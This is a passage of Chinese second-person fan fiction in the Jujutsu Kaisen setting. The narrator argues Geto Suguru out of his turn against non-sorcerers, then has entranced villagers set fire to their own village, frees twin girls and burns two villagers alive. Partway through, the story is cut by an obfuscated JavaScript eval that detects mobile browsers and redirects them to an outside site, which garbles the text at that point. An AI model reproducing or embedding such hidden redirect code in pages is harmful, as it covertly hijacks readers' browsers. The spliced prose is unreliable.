他给辅助监督打了电话,除了对方溢于言表的褒奖,就是需要稍事等待的消息,大概需要1小时。这会道路通畅,但结束的比预期早太多,赶来需要时间。 你们踏上了这个村庄里唯一向外的小径。 晚风吹过田垄,作物依偎着发出沙沙声响。 夏油杰问你:“关于那两个女孩,星夏,你怎么看?” 答案十分简单:“不看,我大概一生都不会来这里了。” “……” 从沉默中,你就知道自己没有说出他赞同的话。 你就问:“那你想怎么样呢,前辈?” “我啊,我觉得她们没有做错什么,不应该这样。” “哦。”你这么说,没把他的话放在心上。 回想起去年夏天的时候你们的初遇,好像也是这样。他还是有许多善心,又都是这样闷热的晚上,还都是调查任务。 只不过这次的咒术师多了一个去年还混迹在街头的你。 总体来说,做咒术师这件事颇有好处,你还挺感激他。 想至此,你又加了一句:“那两个女孩应该也是咒术师,只是父母去世了,无人领养。我们可以在报告上提及这件事情。你又是特级,说话有分量,到时候她们再大些也可以到高专,再然后,她们也能和你一样,有明确的路径。” 如果夏油杰是在说这个的话,那他应该愿意采纳。 不过……他从喉咙里发出了几声含糊不清的笑,你不认为这是开心的时候会出的声。 “你以为,我在想的就是这样微不足道的小事吗?” 这幅中二病的腔调是做哪样啊? “喏,这里没别人,时间充裕,你请讲。”你不和他计较,还愿闻其详。 夏油杰皱着眉头,也许是因为你满不在乎的态度,也许是因为他即将说出的话。 你们一前一后走进通往十字路口的林地,茂密的枝丫隔绝了月光,你点燃一簇火苗,在前照亮。 “你不觉得这个世界太丑陋了吗,星夏?随时都有会害咒术师陷入危险的情况。可我们,可我们,对比凡人是那么强。” “这一切,所有的任务,救援、调查、和咒灵死斗,到底是为了什么?” 夏油杰的声音在你后面,随着呼吸起伏断续高低,火光明暗是遭遇了风,而他的错乱但激情则是因为他内心的震荡。 他说的所有事情都没办法引起你的共鸣,不是说夏油缺乏作为演说家调动情绪的能力,而是这些话题在你这都不是问题,你不在乎。因此也给出了平淡回答,照本宣科。 你学了一年了,背也背得出来:“保护普通人。” “正是如此!”你能从那阵高昂的声音中听出厌烦语气。 “哦?你终于不掩饰自己其实不喜欢普通人这件事情了?”好吧,这仍然不是什么大事。 想要欺骗自己他人拥有不存在的高尚品质是难以为继的,夏油杰的认知又往前走了一步。 “星夏,你总是这么聪明,一下就明白了我想说的话。”这句又无异于喟叹,不知为何,你好像听见了一场剧目的和缓前奏。 果然,接着就是娓娓道来的旁白。 “咒术师保护了非咒术师,却让自己这一高尚的职业和初衷腹背受敌,如果说这是合理的,那我们之前所做的一切,岂非完全在这个混乱污秽的世界中失去了意义?” “如果你我顺着这条通往终点的路一步一步走去--这场马拉松,它的尽头是同伴的尸体--我们难道也不能发出质疑?” “而我,星夏,在想通之前,苦难就如乌云一样折磨我。我根本没有办法摆脱这种不可避免的阴霾的纠缠,直到如今。” “七海也是,他先前问我,难道我们就非要像油料一样被榨干不可?现在我有答案了,为何我们不能对迄今为止接受的一切发起否定和反击?” 文采不错。你想,如果夏油杰决定退学这可不关你事,但他能不能不要是在任务之后立刻提出……否则,就会搞得好像你在把高专为数不多的生源一个个赶走一样。 绝无此事! 你微笑着回头看他,他的脸庞被火光照的炽烈又兴奋,立体的五官投下一片片油画阴影。 “有道理,我支持你。”你随随便便就说出了你会在一个小时内恨不得吞回去的话,你还接着鼓励:“不管旁人是如何评议,你只要依照心中所想做事就行。 不过,我应该还是会继续做咒术师。你知道的,七海已经走了,要是我再走,就只有灰原一个人了。” 接下来,直到回到澹月流辉的露天地面上,夏油都紧紧跟在你身后,他没有再说话。他又陷入了一个人的思考。 你猜测他是在考虑退学后的去向,也可能在考虑要把同学中的谁踢出通讯录--高中生的学生时代大多都是这样,毕业了,聚会的时候合时宜地流点泪喝点酒,说些什么永远都是朋友的场面话,然后再也不联系。 除非需要帮忙。 夏油杰恐怕会第一个杜绝和你的一起来往。 你也在胡思乱想中得到这个结论,他曾经喜欢过你,等他醒悟过来自己在做什么的时候,大概就会嗤笑自己过往的流露真情,然后迅速划归黑历史。 永久尘封。 今晚,你又错估了一次。你举头望月的时间稍微有些久了,夏油由低转高最后甚至算是放声的大笑让你不得不又看看他想干什么。 他像是听见了令人捧腹大笑的笑话一样爽朗明媚,眼中还有一丝明悟的光彩。 这个表情你曾经熟悉,夏油杰瞠目于光中。 “……” 接着,他神经质地停止了笑,正了脸色,你是第一个听见夏油杰这么说的人,他的神采是这么透露的。 他第一个告诉你,对你告解,对你承诺,对你立下他说要追寻的目标,他眼中再无倦怠疲惫,有的是势在必得的骄傲: “星夏,你又弄错了。我不是想要像七海一样逃走。相反,人类各有各的卑鄙,因此咒灵横行于世,我要做的是从源头遏止这一切,我希望既定的轨迹得以转圜。” 你突然想到他在上个月和另一个特级咒术师的闲聊,那个时候他还不愿意和你说话--他已经有很久不愿意和你说话了。从你和五条交往,从你直言不讳梦中为真,今晚的月光好像让时光倒流一样,或者说模糊了现实和梦的边境。 夏油杰对你畅所欲言。 那天,他和九十九由基怎么说来着? 【那把非咒术师都杀光不就行了吗?】 如果你现在叹气的话,恐怕肺活量不足以支撑你想吁出去的气体容积。 他怎么脑回路变成这样了? 虽说似乎九十九由基确实肯定了这个说法 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“你还真是轻易就能打破我酝酿许久的激情。”他的抱怨里也夹杂戏谑,也就是这几个小时,你眼前的人已经脱胎换骨,而你没察觉到这个过程。 从什么时候起呢? 这问题不算困扰,但也萦绕住你。 他说:“本来这件事就源自星夏你的臆断。悟,还有我,我们谁也没看见你说的那条线。而且……冥小姐的乌鸦跟在她后面许多天,不也毫无发现?” “什么乌鸦?” 这倒是稀奇,夏油杰这会对你解冻了社交关系,他不明所以地因你疑问而低头,对着你的眼睛说:“你不知道吗,冥冥的生得术式是乌鸦操术。她们共享视野,有飞鸟为耳目,相当适合跟踪监督。” 他还又说了些话,诸如冥冥的需求和五条悟的富足资产刚好能对上,而他们也是此前就合作过的,颗粒度对齐,因此这次也找了她。 但不重要,他的声音模糊不清,而且如风呼啸一样离你远去了。 人类在做事的时候难免有疏忽,见不到翔于高天或停在背后很远的鸟类。 昨天的小巷里,电线杆上,寻常的风景是什么? 当岩守因为你的话回头,再转过来的时候,她的惊讶,她当时想说的话……未竟的言语。 【铃木同学,原以为这大概是我最后一次这样叫你。不过看起来……】 她要说的恐怕是【看起来,今天不是玩打手背游戏的好时候。】 更确切地说,也许直白的讲法应该为“有内鬼,交易终止。” 然后你做了什么呢? 你想,这是个动手的好机会,不管岩守在想什么,你做好自己这部分就足够。 然后你说了句“我活了这么多年当然很聪明。” 然后你还问她缘何如此震惊。 然后,然后……流沙裹挟着她和她头颅和她的一切,沉入无人能及的漫宿谷地。 现在,你的脸色前所未有的苍白,你的嘴唇颤抖,能感受到上下唇偶然碰到一起的轻微触碰,口中的唾液也变得酸苦。 如果让你形容自己现在的表情,即便没有镜子,你也知道它堪称失态。 比别人矮的好处也就在于此了,当你低下头,夏油杰瞧不见你的脸。 你低低地言语:“噢,是乌鸦啊。” 真相摆在面前的时候,你不会挥舞着双手逃避。 京都在晚上突然发生要保密的大事件,是什么事情能惊动到你的男朋友呢? 冥冥啊,这个女人,你见过她一次,也从旁人的口中三番听见她名字。 她纵使喜欢金钱,也明白什么是做不成生意也要上报的大事。 审时度势,理应如此。 除了你没人认为岩守举止反常。 而你,在一个除了野猫和乌鸦没人会经过的地方,用即便是咒术师也难以想象的手段,带走了一个正在为高专效力的辅助监督。 五条悟给你发送的最后一条消息,在今天下午。 他说要给你带礼物,然后杳无音讯。 ---- 夏油杰问了你几次怎么了,你摇摇头,以问题再回他:“对了,说到乌鸦操术,你知道这具体是怎么运作的吗?” 当他告诉你这东西还能实时存储并且外接到电视上的时候,你默然了。 74.第 74 章 8、溶于月光,没入深林 某种苦涩的情感一掠而过。 接下来的对话,短时间内不算令人兴致盎然,你随口扯了两句,也不高兴应和夏油杰天真烂漫的想法了。 不过今晚下定了决心的夏油杰不会被轻易浇灭,他最终阐述自己的一系列言语为:“星夏,我不是在指望你的认可。事实上,我根本不需要其他任何人的理解。” “那你刚才那么多话,难道是让我做你的彩排观众?” 可夏油杰只是用一种已经明了一切的自信微笑,目光看向迷途羔羊一样看向你。 他眼中还有温和和包容。不过这些欺骗性的文雅下包藏的是翻滚的疯狂 看得你想面无表情,再掐一次他的脖子。 一个想过平静日子的人已经在高层被圈定,另一个身家清白的人雄心壮志欲把时局搅得地覆天翻。 怎么着,接下来你们是不是要手牵着手一起唱着歌把辅助监督的车抢走,然后踏上未知的前路了? 不知不觉,竟然也到了辅助监督正金寺驱车抵达的时间,当汽车刹车的声音在空荡的路上回响时,夏油杰闲倚着树,而你蹲在地上看土。 夏油杰招呼着你:“星夏,到你回高专的时候了。” 正金寺下车开关门的动静也没影响你们的交流,两个学生没人把他放在眼里。 你问:“你什么意思,不回去了?” “嗯呐,”他在月光下展露笑颜:“既然下定了决心,当然要从眼前做起。” 他的语气太轻松,像在讨论宵夜内容,还帮你拉开了车门,俨然准备欢送。 你呢,现在确实也有点自己的小情况,不过仍然不至于丧失对整体的判断。 瞧辅助监督的表情就知道消息还没传播出去。或许高层想不打草惊蛇,最后突然把你捉拿归案。 那么……五条悟会在这个事情里处于什么位置呢? 很轻易的,你会联想到这一点,不可避免地,他的脸会浮现在你紧迫的想法中--成为一个思考的障碍。 你在从后面上车的时候,没忘记把想把车门带上的夏油杰一起拉上来就座。 “等等,你--” 你懒得搭理他,顺便还制止了正金寺先生打算上车的举动:“我们需要点私人空间。” 然后你就用咒力牵引着驾驶座的门关上,你通过车后座左边的窗户和外头人说话:“你去外头走两圈,散散心。” “……” 辅助监督呆愣着看你又慢悠悠摇上车窗。 作为一个名不见经传的学生,你也太会自娱自乐了。给他灰扑扑的职业生涯带了了一点幽默,还有燥热。 冷气很足的车内,现在除了你们也没别人。 夏油杰似乎打算安抚你无谓的的劝说他,他是这么以为你的。 他像讲笑话一样随口否定了自己以前一贯坚信的普世价值观:“微不足道的正义感只会妨碍真正的大义。所以你还想和我说什么呢,星夏?我知道你会留在高专的,也理解你。你为什么不能给予我同样的理解?” 人在自以为掌握真理的时候总是听不进去别人的意见。 “不能,因为不理解。”你讲话也不客气,“你根本不知道自己在做什么,竟然就笃定这样一定可行--恕我直言,被诈骗的人是不是都这么想的?” “谁在欺骗我?”你们都沐浴在车内照明灯下,不过不同的是,夏油杰因为转过头看你,他的半张脸在黑夜的阴翳中。 “谁能用这个骗我?想到这些的,从头到尾都只有我自己。” “是呀,我没说别人。就是你自己欺骗了自己。”你在几个小时之前还在想着最好别和夏油杰再讲重话,然而没人能料到端端半天就时异事殊。 他憎恨自己曾笃信的守则连同憎恨自己,以为自己成为了某个巨大的、针对咒术师阴谋的帮凶。 你看的出来,有句老话在夏油身上应验了。 每个人都有他的地狱,而通往夏油杰的地狱的道路,是由他自己的善意铺就--所以他要把自己的温柔和善意全部毁掉,只给应得它的人予爱意。 “没有比这更明显的事情了。夏油,你曾经给自己立了一个正论的标杆,弱者生存是文明社会的标志,并且无论你心里有多少怀疑,都强迫自己往高尚的地方靠拢。这本身就是一个巨大的谎言。” 你也扭过头,让自己的右半张脸陷入黑暗里,你眼神如刀尖一样残忍,嘴巴里的话也有刺人的锋芒。 “现在呢?你再也不打算就这个骗自己了,却也不是要从谎言里走出来,瞧瞧这个世界真正的样子。你又告诉了自己另一则谎言--打破你立下的靶子,亲手毁灭曾经是你信仰的东西,然后就背弃一切,直接跳反到背面。你莫不会觉得自己很孤绝?没人告诉过你极端的另一面仍然是极端吧。” 他听见你抨击一通自己的新梦想之后也不着急走了,砰的一声,是车门被推开又狠狠合上。夏油杰的脸上已经没有了笑:“你又明白什么,铃木。” 说完这些话你也没那么想掐他脖子了,你们对上的眼睛里,他目光低垂的瞳孔中有愤怒的火焰彤彤。这反而令你更平静了。 他还没做成脱线的风筝,细线绵延不绝,只是被绷紧,尚未断裂。 “将可望不可即的道德弃之敝履,就好像小孩子得不到喜欢的玩具就跳脚。没什么意思。你不会因此获得平静。不管是从什么时候开始,彼时的困扰依旧会缠着你,因而此举无益。” 这就是你从他的眼睛里明白的东西,现在你不顾此人精神状况,直直把它说了出来。 其结果可想而知--哪怕夏油杰听懂了,他也不会搭理你。 这点倒也和听不懂人话的村民症状相似,所有人在自己的妄想里顾影自怜,唾弃、也享受孤独。 他就是因此憎恨你戳破美梦也无妨,反正…… “这就是你要说的话吗?你觉得我会因此转念吗?星夏,铃木星夏,如果你觉得自己总是可以胸有成竹地把握住一切,那你就大错特错了! 你和我说道义,说正论,那它们到底是什么?在这个小村庄里,正义就是把两个小女孩关起来嫁祸欺凌。在上个月,你和七海灰原理应依照规定执行任务,如果不是你还有其他手段会怎么样?常理就是你们中有人必定会葬身在那里!在咒术界的眼中,正论就是星浆体理应丧失一切被同化;而在盘星教,则是尊贵的天元大人应当永葆本来面貌,即便被术式改造成非人也无关紧要。” 你依旧冷淡地看他,夏油杰因为自己高涨的情绪和因为对你无动于衷的怨怼,不受控制地对你大叫: “天内理子就是在这种虚伪的争论中死了啊!她被一枪打死了,就在我面前。就只是因为盘星教的愚众有钱他们愿意提供赏金给无聊的迷信!她死了啊!现在你却假惺惺地告诉我,只消再等上十年八年,这两个不知道能不能活到那时候的孩子就可以入学高专?” “如果你愿意对这一切冷眼相待,你愿意生活在平庸的乐趣里,那是因为你毫无怜悯慈悲之心。可我没有办法不在乎!” 夏油杰的意思是,他对你失望透顶。 好苦恼,他说着什么理想啊大愿啊正义啊道德啊就冲上来了,现在你成了他的大敌。 夏油杰评价你的生活为庸俗的乐趣,你看他又何尝不是呢? 他说过的这些话,你都没认真听。 方才在你眼前的,并不是一个高中生轻纱一样的苍白脸面,也不是他一张一合咄咄逼人的薄唇,更不是辅助监督敲响车窗的打扰--夏油杰制造了太多噪音,这下正金寺不得不来看看情况了。 【于你而言,人类的性命和咒灵的性命不过是天平两端等价砝码,它们的重量都不超过一根羽毛。】 曾经是这样。 在你面前的,是一架最公允不过的天平,左边放置着你在高专算是快乐的一年时光,右边么……是眼前人行将沉沦的灵魂。 现在,它们中的无论哪个都比轻飘飘的鸵鸟羽毛更有分量。 你从不觉得你有裁决他人命运的职能,不过以前你倒是为自己方面做过类似的事情。现在的情况也恰似一年前…… 你可以放过送上门来的生意,也可以欣然接纳,令其领受蜘蛛之门的教诲。 今天,在自由裁量的领域中,你发现了一个溺水的年轻人,你要帮他早日解脱吗?你要带着他度过一段旅途吗?还是说,你愿意姑且拉他一把呢? 你曾经在眼前这个人欲走的新路上,走过比他更远的距离,只是他不知道。 你打开车窗,外头微腥的泥土热气就吹了进来,你先和正往里头窥视的正金寺简单说了两句:“没事,我们在吵架,你能再站远点吗?不会把车搞坏的,我和夏油都是文明人。” 然后你又合上窗户的缝隙,将这辆车的合法使用人拒之门外。 你一点也不沉溺于夏油杰的节奏,自然不会被那阵急促的音律带着走。现在,是你简短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14137159|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳跃的小提琴试音。 没有固定键位的魔鬼乐器,但你技术已经算得上老练,能及时切入重点。 如精确的手术刀,没入身体-- “好好好,你说的很对。不过我有两个问题。”夏油杰长了一张嘴,他爱怎么说就怎么说,你不想反驳。 “第一个,再伟大的梦想都要有一个执行的依凭,而那就是人本身。如果你继续做咒术师,受高专管理,那么未来就会像画卷一样自然而然摊开。可如果你现在转身就走,再带上两个孩子,或者杀鸡儆猴,或者把村里的人全干掉,不说长远--夏油,你能瞧见自己1年以后在何方吗?你能想象那两个小孩的以后吗?” “在你用凡人的血绘制的梦想蓝图里,还有五条和硝子吗?” 你竖起的一根食指旁边有了伴,你的中指--它昭示第一点疑惑说明完毕,接着是第二: “第二个,虽然我不知道你是怎么突然就从保护者转职裁决者的,但一个人真的有权利和闲暇去细数另一个人的罪行,并予以制裁吗?据我所知,那是上帝要做的事情。不管怎么说,你也只不过是在极力避免概念上的混淆,希望能把自己和所谓的【普通人】划分开来,但是--” “你不要再说了。”他突然抬头,眼中幽光如同未开的花蕾。 夏油杰意识到你要说的话,并且想阻止你说出口。 然而事已至此,他的意图和你的语义都各自明了,夏油杰无法阻拦你们彼此知道你们彼此已经知道的事情。 思想和生诞有异曲同工之妙,它们都塞不回去了。 “说到底,你真的和你意图蔑视的群体有什么不同吗?咒术师?非咒术师?高层决策枉顾大家性命的时候不还是一样的下令。” 夏油杰徒劳地听见你没有减缓语调或者加速说出的话。 他的骄傲和激情像皮球,现在被你放了气,下面是瘦削的一把骨头,上面附着一个疲惫的男学生。 膨胀的激情未料自己持续不了一个钟就不得不退却,夏油杰的脆弱就和退潮后沙滩上任人施为的海产一样暴露无遗。 他的目光低垂,没再看你。 可你却因为自己的闲言碎语见了成效而高兴。你拉近与他的距离,指尖挑起他恹恹的刘海,只是因为炎热和湿气,不过主人的颓废状态想来也有气质加成。 夏油杰的额头光洁而明晰,上面一点皱纹或者磕巴也没有,滑得像透光的白绸缎。 辩论中,安慰败者是胜者的特权,不过留给你欣赏他惨状的时间不多了,后面还有不少事情要做: “你追寻的不外乎意义,可是意义是滞后的东西,它属于未来,属于总结报告。为什么不等过些时日,回望前事,在五条和硝子的陪伴下检验和追忆。” “至于庸俗的道德……之前半年,还是一年,不管了,总归是很长时间,阻止你对天天都能见到的满大街人下手的东西,当然不是咒术师条例。我知道在你成为咒术师之前就有了能把人干掉的能力,而挽留在迷茫中做出不可追回事情的,恰好是现在嗤之以鼻的公序良俗的你。” 他也许忘掉了以前的很多事情,甚至也许是夏油杰故意遗忘的,不过这不代表他就直接蜕变成了另外一个人。变态昆虫破茧都没这么快的,而且它们不会否认以前的自己。 你打开你这边的车门,最后建议:“你不妨等找到下家后再决定要不要舍弃它。一朝被视若珍宝,一朝被抛之脑后,道德也很委屈的。” “铃木,你去哪?”夏油杰没打算很快和你说话,毕竟你们之前差不多是在发生剧烈的言语冲突,而他也有作为人类的自尊心--这点倒是和别的人类也一样。 但你讲完话突然就下车,还往村子的方向走,让他又找回了自己【任务执行人】的位置,他以同伴的身份发问。 “我?”你对车子上的人最后一次回头,看见他从窗户里探出的苍白的脸和鲜红有牙印的嘴唇,你跟他招手:“帮你个小忙。我猜我们两个现在都不想你去村里。那两个孩子……你就坐这等我好消息吧。” 夏油杰得了一种看见普通人就作呕的病,你没什么所谓把他和人放在一起,但事已至此……如果他不与你牵扯会更好。 你离开的时候还和辅助监督打了招呼,说是:“我有点私人事务要处理,你们在这里多坐会,别客气。” 向前走,你的背影溶于月光,没入深林。 向前走,你的背影溶于月光,没入深林。 75.第 75 章 9、燃烧着探入良夜 这条来回走了一遍的荒芜小径,再踏上时,你已经有了不同的心境,好比是辛辣的龙舌兰。 你猜测,该有一场相衬的大火。 等来到了这个充斥着迷信者和虱子的小聚落,接下来发生的事情不消多说。 几句开场白,一个眼神,村民成群结队如猿猴,跟在你后头。 阴谷清隆充当引路灯,旁边是传说中孙子差点被害死的老人,由她掌管今晚最重要的工具之一--火种。 没有金红的火把,没有锄头和铲子,一行人诡异的安静游行。 清冷月光下,人如蜈蚣一样列成黑黢黢的阴暗长条,百来只脚在地上摩擦。 若你回头细看,能见到表情如出一辙的呆滞人群,他们默不作声,腿脚康健,窸窸窣窣如蝗虫过境一样在土地上留下一个又一个被下个脚印磨平的足迹。 集结了全部的、自由的村民,老的,中年的,青年的,小的,你们最后停步在火药桶引线的末端,那栋久无人打理的茅草屋。 它一点也不坚固,但也造就了一座囚笼。 这个概念意义上的监牢甚至把夏油杰都糊弄进去了。 阴谷用那串叮铃铃的合金串上的一根小钥匙就打开了它的门。 你第二次进入这个环境不是很宜居的居屋。 你的食指在无光的环境下暂燃起光源。 在落日一样的余晖中,你对嘴角还站着饼干屑,后退时不小心碰到塑料瓶的双子中的一位伸出手,她有金色的头发。 就是那个先前辩驳老人孙子是自作自受的那个。 她看起来更外向,也许好说话。 “想出来吗?” 小朋友就是比较好骗,小女孩看向你的眼里有直白的需求和好奇,偏偏没有胆怯,不过棕色头发的孩子拽住她,不让她继续往锁好的牢门爬近。 不过你永远能相信死马当作活马医的情境下人类的求生意识。 金发的姑娘对你狠狠点了点头。 “菜菜子,不要理她。”另一个女孩小小声地阻拦。 你从口袋里掏出一颗糖果,又从另一个口袋里掏出……什么也没有,你只有一颗。看了眼介绍,杏子味,你将它丢进了这个木头框架的牢狱。 戳碰,拿起,拆解,嗅闻,再到最终下定决心的舔舐,以及惊呼。 小朋友们缺乏时间观念,你可不是这样。 你看一眼手机,然后收起来。 “后退。”你直白地告诉她们。 不等她们犹豫结束,你就用咒力摧毁了这个不堪一击的牢笼。 曾经禁锢她们的一方天地被你打通。 “没时间解释了。但--想活命,就跟我来。” 这个村庄的最后两个幼童身披木屑加入了你们的噤声游行。 曾是监牢的组成部分,而今灰尘一样随步履移动而从肩头抖落,也像火星--- 你们走到一片高高的田垄上,在这里,你即便蹲在土堆上,也能以一个概览的视角全观这片硕果丰厚的土地。 火烧田地好处多多,快速清理田地--消杀病毒害虫--补充土壤养分--省时省力省工。 再多的你编不出来了,毕竟这块丰沃的土壤还没被镰刀和机器收割。 煤油灯里的火芯也能和木屑一样飘荡。 你扭头无声地敦促今晚责任重大的引路灯,阴谷清隆知道自己要做什么。 他接过重担,对这片自己也多半有感情的土地播撒火苗,履行消防队长应尽的职责。 他的脚步踏过每一片田地,方方正正的土块上火苗被滋养。 年轻力壮的女人和男人也纷纷行动起来,拾捡起村庄里、土地上干枯的枝丫,将它们堆在高高的土地上,小山一样。 这里景色怡人:月色,白烟,火光。 人间的亮映到天上,誓要把那云也熏黄。 神志清醒的三位女性并未对眼前的错乱的现实发表观点。 除了哔哔剥剥的跳动,还有稀里哗啦的麦秆倾倒外,一时之间没有别的声音。 阴谷清隆归来后,把燃料所剩无几的油灯归还给老妇人,百双眼睛盯着你,等下一步的指向。 你表现得像个古代先知,指了指房屋聚集的地方,还有谷仓。 肉眼无法辨识的杯之力在你身上急速消耗,逐渐转换为铁水一样火热的伟力滚烫。 他们就都懂了,都明白了,都顿悟了,先走向深夜里空无一人的房屋,再走向尚有余粮的谷仓。 日落的颜色飘满整个村庄。在火中顺着绳索跳跃游荡。 最后,经过两圈的游行,大家又不辞辛苦回到高高的田垄上。俯看是黑黑的麦田,回首是炽烈已极的屋房。 此地,是够让所有人围成两圈手拉着手舞蹈的祭台火场。 煤油灯里最后的火已经传递到了前两场,它里面最后最后的光也熄灭了,剩下的火种,恐怕要倚靠你的力量。 你蹲在安安静静的人群中已经有一阵子了,腿脚也有点发酸。 你在对着近十米唯一的光源踌躇莫展。 刚才,你给五条悟拨去了今晚的第一通电话。 铃声响了很久,以前你给他打电话的时候,它从来没有被放任过那么长时间。 一般在嘟后三声内就被接起,然后是另一端活力满满的爽朗或者慵懒的声音--“是我,怎么--啦!” 今天是个特殊情况,铃声锲而不舍地响起,然后和缺少燃料的火焰一样熄灭了。 在大家都看着你的时候,你依然有良好的心理素质不管不顾,因此能忽视现场诡异的目光。 片刻后,两个小女孩中的一位,就是刚才吃了你的糖果的那个,她拉了拉你的衣摆。也蹲了下来。 你注意到她过分宽大的裙子遮住了膝盖下的小腿,如此显得她光着脚的样子更像个野孩子。 “呐,你是来惩罚他们的吗?” 你摇头:“不是。”路过的在逃作案人一枚。 “那你帮了我和美美子,是不是?” 你还是盯着手机:“顺便。” 那个声音凑近了,小女孩像小动物一样用头顶你的胳膊:“那你为什么要惩罚他们,烧了粮食和屋子?” 你不得不挪了一步脚,血液循环不畅的下半身立刻有一阵针扎似的酸麻,你打去了第二通电话。 “总是幻想有人会代替自己惩罚自己讨厌的人,说的是不是就是你这样爱做梦的孩子?” 你说完这句话就给她做了一个闭嘴的手势,叫这个孩子别再开口。 不过你做的是拉链动作,她可能误会了-- 她用气声告知你:“我叫菜菜子。” 第一,你不在乎她到底叫什么。 第二,第二通电话被人掐断了。 一般来说它们会说【无人接听】。这次的回答是【嘟嘟嘟】。 因为你的腿不是很舒服,所以你改成了坐下,抱着膝盖,在田垄上。 又过了一会,另一个小孩像是被引诱了似的,也放下警惕过来,然后两个小孩就偷偷在你背后叽里呱啦小声说了一通话。 最后那个自称菜菜子的小朋友又来拉扯你的衣袖:“你在等什么?” …… 别问啦别问啦,丢人。 你叹了一口气,也不管她们能不能听懂,就说:“我还有很多时间,但不能再挥霍于验证。” 事情已经再明了不过了。 五条悟没接你的电话,不过那也不算是他的问题……虽然这么说,但你还是期待他能更处变不惊一点的,其实你在动手之前唯一一次说明了杀意的场景,就是和他一起吃宵夜。 他总不能就因为没觉得你会真的动手就不愿意接电话吧! 他的身上现在还剩什么呢,除了对你的怀疑,或者忿怒,或者觉得你很愚蠢?要是你知道冥冥的术式是什么你就决计不会挑这种错误的时刻动手了。 他对你的喜欢还有多少呢?你忍不住好奇,但也明白,试图验证是无用之举。 你并非是因为两个孩子的催促才决心放过这件事的,不过确实。 看起来,结束了。 “验证什么,这是什么意思?” “没什么意思。”你站起来,打了个哈欠,中场休息结束,在这里还有最后的两件事情要做。 向往新生活的小孩就是这么急不可耐。 引路人已经执行完自己的全部职责,火种的保管人也一样,因此他们自觉主动地应你目光走上众人早为他们准备的坟场。 薪柴堆高高,他们通行无阻。 他们在众人期盼的眼光中登上最高也是最后的舞台。 你在底下闲聊:“对了,你们谁是姐姐谁是妹妹?” 黄色头发的小女孩跳了出来:“我是姐姐。” 你瞧她一眼,打量的眼神漫不经心:“哦,看着不像。” “……” “不过既然你是姐姐,过会你捂着你妹妹的眼睛,你自己也闭上,等我喊【可以了】你们再睁眼。” 结果令你失望。 “为什么?”她问。 真是拿小孩子没办法呢--你转而问妹妹,棕色头发的女孩,把原来的话复述一遍,除了句子中姐姐、妹妹的称谓替换。 答案令你舒心。 “好的。”美美子说。 不过在那之后她问你,语调平淡:“你要烧死他们吗?” “不错,你挺聪明的。” 你们两也就在众人的簇拥中进行日常闲聊。 “……”她停顿了一会,你多给了一个眼神,发现她并不胆怯,而是用果核一样 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她转了转脑袋在你手心上蹭了两下,她的头发上有很难闻的味道,不过你不算嫌弃,只觉得手心痒痒的:“总之,你还活着。我不是想说他们对你和你姐姐还存有同胞的温情--看起来没有。只不过,你能感觉到他们也同样将信将疑着自己做错了事情,不敢承担干掉一个和他们同样的人所能带来的良心上的后果。 因为想要终结一个人并不比宰杀更大体格的猪或者牛更辛苦,最后的关卡不是刀与剑的匮乏,而是内心的的诘难。 他们已经失掉了所有的金钱和粮食,就和现在的你们一样。 所以你们也别轻易走上那条这些人都无一人胆敢沾上的那条路,好吗?这两个就当做我开心了烧着玩,和你们也无关。” 人一激动可是很容易做出过分的事情,刚刚你就领教过了。 美美子珍珠一样的眼睛里一团混沌,小孩子才不懂这些。不过她们很弱,这里你说了算。 是时候发扬你庸俗的乐趣了。 你把两个孩子推开,独自一人在被围得水泄不通的人圈里踱步。一步,一步,走进祭品安然等待命运的高台。 薪柴是阶梯,氧气是扶手,这个黑烟还没弥漫到的地方就是此行的终点。 女士们先生们,你在心里无声默念,今日,我将为展示几百年前行于欧洲各地的传统美德,焚烧异端。 至于谁是不是女巫才不是我这样愚昧的人所在乎的,我在乎的是-- 巨大的火舌从你脚底凭空燃起,不同于橘红的落日余晖色,它更金黄,远胜秋日的麦穗;也更红,比烧滚烫的烙铁还鲜艳。 昔日神话传说中才能被描述的景象不过是如今的一瞥。 今夜,你彻底献身铸炉的事业,愿跻身于铸的行列之中,为火焰,也为薪柴,投身无情的改变。 所有人的眼里,漆黑的深更半夜变成了夏日午后的浓金与红。 “闭上眼。”你声音沙哑,提示那两个重返自由的女孩。 她们照做,其中一人还乖巧捂住另一个人的眼睛。 你以为自己不是个追求仪式感的人,不过在彻底终结之前…… 你给五条悟发去了几条短信讯息--不劳烦他亲自接起,总之手机会做好信息传输的一切。 【我很好,一切都好,以后也会好。】 【他们说,感情是苦涩的……可是那有什么关系呢?我已经吻过你了。】 【谢谢你喜欢过我,我很开心。】 拥有时间达一年的手机,你一甩手,丢到了燃烧起的火堆里。你跳下燃烧的正旺的高台,掸灭身上的一点点火星子,后面的事情就没必要再加入进去了。 有困难找警察。 你在乎的是--你想烧点什么,就烧点什么。 你曾垂垂老矣,也曾风华正茂,而现今你是一团不会熄灭的火焰。 推着两个女孩的后脑勺,人群为你们自动让开一条道,等走出去后,你说:“可以了。” 她们就睁开眼。 不过他们一个两个一左一右的眼睛亮晶晶的,全然没有之前的畏惧和羞怯。不过是,她们是要去过好日子的,开心点也正常。 你送她们到那条只能供人通过的小路,你随手捡一根枯枝,挥手点燃了枝尖,充作光源,递给她们。 “顺着这里出去,看见一个眼睛是紫色,但是困得像一辈子失眠的男人。” “跟他走,就能活。” 你给她们指了一条好路。他需要被人需要,她们需要人,世界上怎么会有这么巧的事情呢? 两个小孩子赤脚走进那个深林的时候,忍不住都回头看你,却只能见到你走的很快的背影,还有背过来向她们招的手。 步履平稳,不迫不露,行行重行行。 76.第 76 章 夏油杰曾经也是个清爽朝气的少年,直到一次被认为是意外的……意外发生。 想来备受瞩目的任务恐怕也不过是夸张的说辞,护送星浆体的任务轰轰烈烈的失败了,然而后续甚至并未引起总监部的过问。 ……一觉醒来难道是全咒术界所有人都被抽掉了有关【星浆体】三个字的记忆不成? 所有人都很平静,好像没有任何事情发生,一只橡皮擦凭空出现,把这个任务消除了。 